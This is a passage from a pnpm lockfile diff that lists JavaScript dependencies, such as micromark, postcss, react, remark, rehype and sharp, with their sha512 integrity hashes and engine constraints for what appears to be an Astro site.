resolution: {integrity: sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==} + + mdn-data@2.0.28: + resolution: {integrity: sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==} + + mdn-data@2.12.2: + resolution: {integrity: sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==} + + micromark-core-commonmark@2.0.3: + resolution: {integrity: sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==} + + micromark-extension-gfm-autolink-literal@2.1.0: + resolution: {integrity: sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==} + + micromark-extension-gfm-footnote@2.1.0: + resolution: {integrity: sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==} + + micromark-extension-gfm-strikethrough@2.1.0: + resolution: {integrity: sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==} + + micromark-extension-gfm-table@2.1.1: + resolution: {integrity: sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==} + + micromark-extension-gfm-tagfilter@2.0.0: + resolution: {integrity: sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==} + + micromark-extension-gfm-task-list-item@2.1.0: + resolution: {integrity: sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==} + + micromark-extension-gfm@3.0.0: + resolution: {integrity: sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==} + + micromark-extension-mdx-expression@3.0.1: + resolution: {integrity: sha512-dD/ADLJ1AeMvSAKBwO22zG22N4ybhe7kFIZ3LsDI0GlsNr2A3KYxb0LdC1u5rj4Nw+CHKY0RVdnHX8vj8ejm4Q==} + + micromark-extension-mdx-jsx@3.0.2: + resolution: {integrity: sha512-e5+q1DjMh62LZAJOnDraSSbDMvGJ8x3cbjygy2qFEi7HCeUT4BDKCvMozPozcD6WmOt6sVvYDNBKhFSz3kjOVQ==} + + micromark-extension-mdx-md@2.0.0: + resolution: {integrity: sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==} + + micromark-extension-mdxjs-esm@3.0.0: + resolution: {integrity: sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==} + + micromark-extension-mdxjs@3.0.0: + resolution: {integrity: sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==} + + micromark-factory-destination@2.0.1: + resolution: {integrity: sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==} + + micromark-factory-label@2.0.1: + resolution: {integrity: sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==} + + micromark-factory-mdx-expression@2.0.3: + resolution: {integrity: sha512-kQnEtA3vzucU2BkrIa8/VaSAsP+EJ3CKOvhMuJgOEGg9KDC6OAY6nSnNDVRiVNRqj7Y4SlSzcStaH/5jge8JdQ==} + + micromark-factory-space@2.0.1: + resolution: {integrity: sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==} + + micromark-factory-title@2.0.1: + resolution: {integrity: sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==} + + micromark-factory-whitespace@2.0.1: + resolution: {integrity: sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==} + + micromark-util-character@2.1.1: + resolution: {integrity: sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==} + + micromark-util-chunked@2.0.1: + resolution: {integrity: sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==} + + micromark-util-classify-character@2.0.1: + resolution: {integrity: sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==} + + micromark-util-combine-extensions@2.0.1: + resolution: {integrity: sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==} + + micromark-util-decode-numeric-character-reference@2.0.2: + resolution: {integrity: sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==} + + micromark-util-decode-string@2.0.1: + resolution: {integrity: sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==} + + micromark-util-encode@2.0.1: + resolution: {integrity: sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==} + + micromark-util-events-to-acorn@2.0.3: + resolution: {integrity: sha512-jmsiEIiZ1n7X1Rr5k8wVExBQCg5jy4UXVADItHmNk1zkwEVhBuIUKRu3fqv+hs4nxLISi2DQGlqIOGiFxgbfHg==} + + micromark-util-html-tag-name@2.0.1: + resolution: {integrity: sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==} + + micromark-util-normalize-identifier@2.0.1: + resolution: {integrity: sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==} + + micromark-util-resolve-all@2.0.1: + resolution: {integrity: sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==} + + micromark-util-sanitize-uri@2.0.1: + resolution: {integrity: sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==} + + micromark-util-subtokenize@2.1.0: + resolution: {integrity: sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==} + + micromark-util-symbol@2.0.1: + resolution: {integrity: sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==} + + micromark-util-types@2.0.2: + resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + + micromark@4.0.2: + resolution: {integrity: sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==} + + mrmime@2.0.1: + resolution: {integrity: sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==} + engines: {node: '>=10'} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + muggle-string@0.4.1: + resolution: {integrity: sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + neotraverse@0.6.18: + resolution: {integrity: sha512-Z4SmBUweYa09+o6pG+eASabEpP6QkQ70yHj351pQoEXIs8uHbaU2DWVmzBANKgflPa47A50PtB2+NgRpQvr7vA==} + engines: {node: '>= 10'} + + nlcst-to-string@4.0.0: + resolution: {integrity: sha512-YKLBCcUYKAg0FNlOBT6aI91qFmSiFKiluk655WzPF+DDMA02qIyy8uiRqI8QXtcFpEvll12LpL5MXqEmAZ+dcA==} + + node-fetch-native@1.6.7: + resolution: {integrity: sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q==} + + node-mock-http@1.0.4: + resolution: {integrity: sha512-8DY+kFsDkNXy1sJglUfuODx1/opAGJGyrTuFqEoN90oRc2Vk0ZbD4K2qmKXBBEhZQzdKHIVfEJpDU8Ak2NJEvQ==} + + node-releases@2.0.27: + resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + nth-check@2.1.1: + resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} + + ofetch@1.5.1: + resolution: {integrity: sha512-2W4oUZlVaqAPAil6FUg/difl6YhqhUR7x2eZY4bQCko22UXg3hptq9KLQdqFClV+Wu85UX7hNtdGTngi/1BxcA==} + + ohash@2.0.11: + resolution: {integrity: sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ==} + + oniguruma-parser@0.12.1: + resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} + + oniguruma-to-es@4.3.4: + resolution: {integrity: sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA==} + + p-limit@6.2.0: + resolution: {integrity: sha512-kuUqqHNUqoIWp/c467RI4X6mmyuojY5jGutNU0wVTmEOOfcuwLqyMVoAi9MKi2Ak+5i9+nhmrK4ufZE8069kHA==} + engines: {node: '>=18'} + + p-queue@8.1.1: + resolution: {integrity: sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ==} + engines: {node: '>=18'} + + p-timeout@6.1.4: + resolution: {integrity: sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg==} + engines: {node: '>=14.16'} + + package-manager-detector@1.6.0: + resolution: {integrity: sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA==} + + pako@0.2.9: + resolution: {integrity: sha512-NUcwaKxUxWrZLpDG+z/xZaCgQITkA/Dv4V/T6bw7VON6l1Xz/VnrBqrYjZQ12TamKHzITTfOEIYUj48y2KXImA==} + + parse-css-color@0.2.1: + resolution: {integrity: sha512-bwS/GGIFV3b6KS4uwpzCFj4w297Yl3uqnSgIPsoQkx7GMLROXfMnWvxfNkL0oh8HVhZA4hvJoEoEIqonfJ3BWg==} + + parse-entities@4.0.2: + resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==} + + parse-latin@7.0.0: + resolution: {integrity: sha512-mhHgobPPua5kZ98EF4HWiH167JWBfl4pvAIXXdbaVohtK7a6YBOy56kvhCqduqyo/f3yrHFWmqmiMg/BkBkYYQ==} + + parse5@7.3.0: + resolution: {integrity: sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==} + + path-browserify@1.0.1: + resolution: {integrity: sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==} + + piccolore@0.1.3: + resolution: {integrity: sha512-o8bTeDWjE086iwKrROaDf31K0qC/BENdm15/uH9usSC/uZjJOKb2YGiVHfLY4GhwsERiPI1jmwI2XrA7ACOxVw==} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + picomatch@4.0.3: + resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + engines: {node: '>=12'} + + postcss-nested@6.2.0: + resolution: {integrity: sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==} + engines: {node: '>=12.0'} + peerDependencies: + postcss: ^8.2.14 + + postcss-selector-parser@6.1.2: + resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} + engines: {node: '>=4'} + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.6: + resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + engines: {node: ^10 || ^12 || >=14} + + prettier-plugin-astro@0.14.1: + resolution: {integrity: sha512-RiBETaaP9veVstE4vUwSIcdATj6dKmXljouXc/DDNwBSPTp8FRkLGDSGFClKsAFeeg+13SB0Z1JZvbD76bigJw==} + engines: {node: ^14.15.0 || >=16.0.0} + + prettier@3.7.4: + resolution: {integrity: sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA==} + engines: {node: '>=14'} + hasBin: true + + prismjs@1.30.0: + resolution: {integrity: sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==} + engines: {node: '>=6'} + + prompts@2.4.2: + resolution: {integrity: sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==} + engines: {node: '>= 6'} + + property-information@7.1.0: + resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==} + + radix3@1.1.2: + resolution: {integrity: sha512-b484I/7b8rDEdSDKckSSBA8knMpcdsXudlE/LNL639wFoHKwLbEkQFZHWEYwDC0wa0FKUcCY+GAF73Z7wxNVFA==} + + react-dom@19.2.3: + resolution: {integrity: sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==} + peerDependencies: + react: ^19.2.3 + + react-refresh@0.17.0: + resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + engines: {node: '>=0.10.0'} + + react@19.2.3: + resolution: {integrity: sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==} + engines: {node: '>=0.10.0'} + + readdirp@4.1.2: + resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} + engines: {node: '>= 14.18.0'} + + recma-build-jsx@1.0.0: + resolution: {integrity: sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==} + + recma-jsx@1.0.1: + resolution: {integrity: sha512-huSIy7VU2Z5OLv6oFLosQGGDqPqdO1iq6bWNAdhzMxSJP7RAso4fCZ1cKu8j9YHCZf3TPrq4dw3okhrylgcd7w==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + recma-parse@1.0.0: + resolution: {integrity: sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==} + + recma-stringify@1.0.0: + resolution: {integrity: sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==} + + regex-recursion@6.0.2: + resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==} + + regex-utilities@2.3.0: + resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==} + + regex@6.1.0: + resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + + rehype-expressive-code@0.41.5: + resolution: {integrity: sha512-SzKJyu7heDpkt+XE/AqeWsYMSMocE/5mpJXD6CMgstqJHSE9bxGNcLp3zL9Wne3M5iBsS4GJyOD2syV77kRveA==} + + rehype-parse@9.0.1: + resolution: {integrity: sha512-ksCzCD0Fgfh7trPDxr2rSylbwq9iYDkSn8TCDmEJ49ljEUBxDVCzCHv7QNzZOfODanX4+bWQ4WZqLCRWYLfhag==} + + rehype-raw@7.0.0: + resolution: {integrity: sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==} + + rehype-recma@1.0.0: + resolution: {integrity: sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==} + + rehype-stringify@10.0.1: + resolution: {integrity: sha512-k9ecfXHmIPuFVI61B9DeLPN0qFHfawM6RsuX48hoqlaKSF61RskNjSm1lI8PhBEM0MRdLxVVm4WmTqJQccH9mA==} + + rehype@13.0.2: + resolution: {integrity: sha512-j31mdaRFrwFRUIlxGeuPXXKWQxet52RBQRvCmzl5eCefn/KGbomK5GMHNMsOJf55fgo3qw5tST5neDuarDYR2A==} + + remark-gfm@4.0.1: + resolution: {integrity: sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==} + + remark-mdx@3.1.1: + resolution: {integrity: sha512-Pjj2IYlUY3+D8x00UJsIOg5BEvfMyeI+2uLPn9VO9Wg4MEtN/VTIq2NEJQfde9PnX15KgtHyl9S0BcTnWrIuWg==} + + remark-parse@11.0.0: + resolution: {integrity: sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==} + + remark-rehype@11.1.2: + resolution: {integrity: sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==} + + remark-smartypants@3.0.2: + resolution: {integrity: sha512-ILTWeOriIluwEvPjv67v7Blgrcx+LZOkAUVtKI3putuhlZm84FnqDORNXPPm+HY3NdZOMhyDwZ1E+eZB/Df5dA==} + engines: {node: '>=16.0.0'} + + remark-stringify@11.0.0: + resolution: {integrity: sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==} + + request-light@0.5.8: + resolution: {integrity: sha512-3Zjgh+8b5fhRJBQZoy+zbVKpAQGLyka0MPgW3zruTF4dFFJ8Fqcfu9YsAvi/rvdcaTeWG3MkbZv4WKxAn/84Lg==} + + request-light@0.7.0: + resolution: {integrity: sha512-lMbBMrDoxgsyO+yB3sDcrDuX85yYt7sS8BfQd11jtbW/z5ZWgLZRcEGLsLoYw7I0WSUGQBs8CC8ScIxkTX1+6Q==} + + require-directory@2.1.1: + resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} + engines: {node: '>=0.10.0'} + + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + + restructure@3.0.2: + resolution: {integrity: sha512-gSfoiOEA0VPE6Tukkrr7I0RBdE0s7H1eFCDBk05l1KIQT1UIKNc5JZy6jdyW6eYH3aR3g5b3PuL77rq0hvwtAw==} + + retext-latin@4.0.0: + resolution: {integrity: sha512-hv9woG7Fy0M9IlRQloq/N6atV82NxLGveq+3H2WOi79dtIYWN8OaxogDm77f8YnVXJL2VD3bbqowu5E3EMhBYA==} + + retext-smartypants@6.2.0: + resolution: {integrity: sha512-kk0jOU7+zGv//kfjXEBjdIryL1Acl4i9XNkHxtM7Tm5lFiCog576fjNC9hjoR7LTKQ0DsPWy09JummSsH1uqfQ==} + + retext-stringify@4.0.0: + resolution: {integrity: sha512-rtfN/0o8kL1e+78+uxPTqu1Klt0yPzKuQ2BfWwwfgIUSayyzxpM1PJzkKt4V8803uB9qSy32MvI7Xep9khTpiA==} + + retext@9.0.0: + resolution: {integrity: sha512-sbMDcpHCNjvlheSgMfEcVrZko3cDzdbe1x/e7G66dFp0Ff7Mldvi2uv6JkJQzdRcvLYE8CA8Oe8siQx8ZOgTcA==} + + rollup@4.53.3: + resolution: {integrity: sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + s.color@0.0.15: + resolution: {integrity: sha512-AUNrbEUHeKY8XsYr/DYpl+qk5+aM+DChopnWOPEzn8YKzOhv4l2zH6LzZms3tOZP3wwdOyc0RmTciyi46HLIuA==} + + sass-formatter@0.7.9: + resolution: {integrity: sha512-CWZ8XiSim+fJVG0cFLStwDvft1VI7uvXdCNJYXhDvowiv+DsbD1nXLiQ4zrE5UBvj5DWZJ93cwN0NX5PMsr1Pw==} + + satori@0.19.1: + resolution: {integrity: sha512-/XaT/JiWLfNlgjlQdde4wXB1/6F+FEze9c3OW2QIH0ywsfOrY57YOetgESWyOFHW3JfEQ6dJAo2U9Xwb7+DDAw==} + engines: {node: '>=16'} + + sax@1.4.3: + resolution: {integrity: sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ==} + + scheduler@0.27.0: + resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + semver@7.7.3: + resolution: {integrity: sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==} + engines: {node: '>=10'} + hasBin: true + + sharp@0.34.5: + resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + + shiki@3.19.0: + resolution: {integrity: sha512-77VJr3OR/VUZzPiStyRhADmO2jApMM0V2b1qf0RpfWya8Zr1PeZev5AEpPGAAKWdiYUtcZGBE4F5QvJml1PvWA==} + + sisteransi@1.0.5: + resolution: {integrity: sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==} + + sitemap@8.0.2: + resolution: {integrity: sha512-LwktpJcyZDoa0IL6KT++lQ53pbSrx2c9ge41/SeLTyqy2XUNA6uR4+P9u5IVo5lPeL2arAcOKn1aZAxoYbCKlQ==} + engines: {node: '>=14.0.0', npm: '>=6.0.0'} + hasBin: true + + smol-toml@1.5.2: + resolution: {integrity: sha512-QlaZEqcAH3/RtNyet1IPIYPsEWAaYyXXv1Krsi+1L/QHppjX4Ifm8MQsBISz9vE8cHicIq3clogsheili5vhaQ==} + engines: {node: '>= 18'} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + source-map@0.7.6: + resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==} + engines: {node: '>= 12'} + + space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + + stream-replace-string@2.0.0: + resolution: {integrity: sha512-TlnjJ1C0QrmxRNrON00JvaFFlNh5TTG00APw23j74ET7gkQpTASi6/L2fuiav8pzK715HXtUeClpBTw2NPSn6w==} + + string-width@4.2.3: + resolution: 